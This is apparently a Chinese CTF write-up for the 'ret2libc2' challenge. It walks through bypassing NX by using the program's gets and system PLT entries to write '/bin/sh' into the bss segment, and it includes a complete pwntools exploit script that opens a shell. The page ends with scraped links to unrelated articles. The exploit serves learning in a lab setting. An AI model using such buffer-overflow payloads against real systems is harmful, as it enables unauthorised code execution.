和Ret2Libc(1)一样,先把程序扔进IDA看看代码

和Ret2Libc(1)一样,gets存在溢出漏洞

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到程序开启了NX,

我的linux已经开启了ASLR

存在system函数,地址为 0x08048490

不存在‘/bin/sh'字段

漏洞利用思路:

程序中既然找不到‘/bin/sh‘,那我们就需要想办法输入进去,恰好用objdump发现存在gets函数 ,地址为0x08048460

而且还存在也就说明,我们可以手动把shellcode输入进去,然后存放进bss段里面,最后把这个bss地址传给system来调用shellcode

1、用gets的地址覆盖函数返回地址

2、构造gets的返回地址,(因为gets输入shellcode后,我们就要调用system函数来getshell,所以gets的返回地址是system函数的调用地址,即system_plt)

3、构造gets需要的参数(就是存放输入字符串的地址,bss段0x804A080)

4、构造system的参数(就是存放输入字符串的地址,bss段0x804A080)

exp:

from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt  = 0x08048490io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR相关推荐

  1. Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR

    Ret2Libc即控制程序执行libc库中的函数. 通常是返回到某个函数的plt处,或者函数运行时候的实际地址. 下面是一个例子: 可以看出程序gets有一个明显的溢出漏洞 gdb-peda$ che ...

  2. 解决:/system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45报错

    在夜神模拟器运行arm编译器编译出来的可执行文件,结果报错: /system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45查了一下, ...

  3. Shell-/bin/bash和/bin/sh解释器的误用引起的脚本语法错误

    文章目录 生猛干货 背景 问题分析 解决办法 知识点回顾 搞定Linux核心技术 生猛干货 从系统安装到程序员必备的Linux技能,还原真实工作场景,手把手带你实战演练 背景 下面的脚本,在Linux ...

  4. linux中的 bin sh,Linux-#!/bin/sh理解

    #!是一个特殊符号,/bin/sh是用来解释该脚本的的shell路径 #!/bin/sh指该脚本使用/bin/sh来执行 sh只是其中一种解释方式,通过如下命令可以查到支持的shell解释方式: xx ...

  5. 【Linux】【编译相关】execvp: /bin/sh: Argument list too long问题处理小结

    问题背景 execvp: /bin/sh: Argument list too long问题出现的两种情况: 1.make的时候,如编译Linux内核.驱动.Android版本等较长-I.-D选项的情 ...

  6. linux7crontab启动,CentOS7crontab不执行 报错/bin/sh:root:commandnotfound

    使用CentOS7 执行定时脚本,结果提示报错: /bin/sh: root: command not found 问题在于文件 /var/spool/cron/root ,中无需再写root. 修改 ...

  7. 【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32

    目录 前言 一.题目 二.解题过程 payload的构造 三.exp 总结 前言 一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生.但其实其中原理比较简单,但是涉及到/bin/sh ...

  8. 浅显易懂 Makefile 入门 (08)— 默认 shell (/bin/sh)、命令回显、make参数(-n 只显示命令但不执行,-s 禁止所有回显)、单行命令、多行命令、并发执行

    1. shell 相关 1.1 默认 shell Makefile 所使用的命令是由 shell 命令行组成,他们是一条一条执行的. 多个命令之间要使用分号隔开,Makefile 中的任何命令都要以 ...

  9. Compiling: main.cpp /bin/sh: g++: not found

    Kbuntu用codeblocks编写C程序的时候,编译报错如下: Compiling: main.cpp /bin/sh: g++: not found 解决方法: sudo apt-get ins ...

最新文章

  1. mysql锁机制总结
  2. 哈工大计算机学院刘志岩,感知计算研究中心
  3. 解读SAP Hybris为何获国内B2B用户青睐?
  4. 【转载】C# ??(问问,问号问号)运算符,可空值(申明加?(问号))的克星
  5. ACRush 楼天城回忆录
  6. 进程间通信————有名管道
  7. 第一章:NHibernate的简介
  8. Aspect的简单方法拦截
  9. Linux MySQL主主复制(Replication)(MySQL数据双向同步)配置
  10. project a vertex along its normal onto a triangle
  11. Android 屏幕适配:最全面的解决方案
  12. Android常用工具类 (转)
  13. java反射加载类_Java反射 - 动态类加载和重载
  14. html css菜鸟,CSS菜鸟教程阅读笔记
  15. word自带参考文献标注功能
  16. 20个2013年最值得关注的网页设计趋势
  17. linkedin 分享_如何将您的LinkedIn个人资料添加到WordPress
  18. Attempted read from closed stream.
  19. 蓝桥杯 时间管理大师
  20. Intellij IDEA--将Java项目打包为jar包--方法/实例

热门文章

  1. 程序员被辞 12 天,前领导要求回公司解释代码,结果懵了…
  2. 微软出手,干翻 IDEA?网友:先干翻Eclipse吧..
  3. MySql批量插入时,如何不插入重复的数据
  4. 必须了解的 MySQL 三大日志
  5. 请给SpringBoot多一些内存
  6. 好文推荐,15 分钟教你搞懂 Git!
  7. 如何阅读一份深度学习项目代码?
  8. 翻遍用AI检测新冠的论文,一篇临床可用的也没有?!
  9. PyTorch官方培训教程上线:从基本概念到实操,小白也能上手
  10. 套娃成功!在《我的世界》里运行Win95、玩游戏,软件和教程现已公开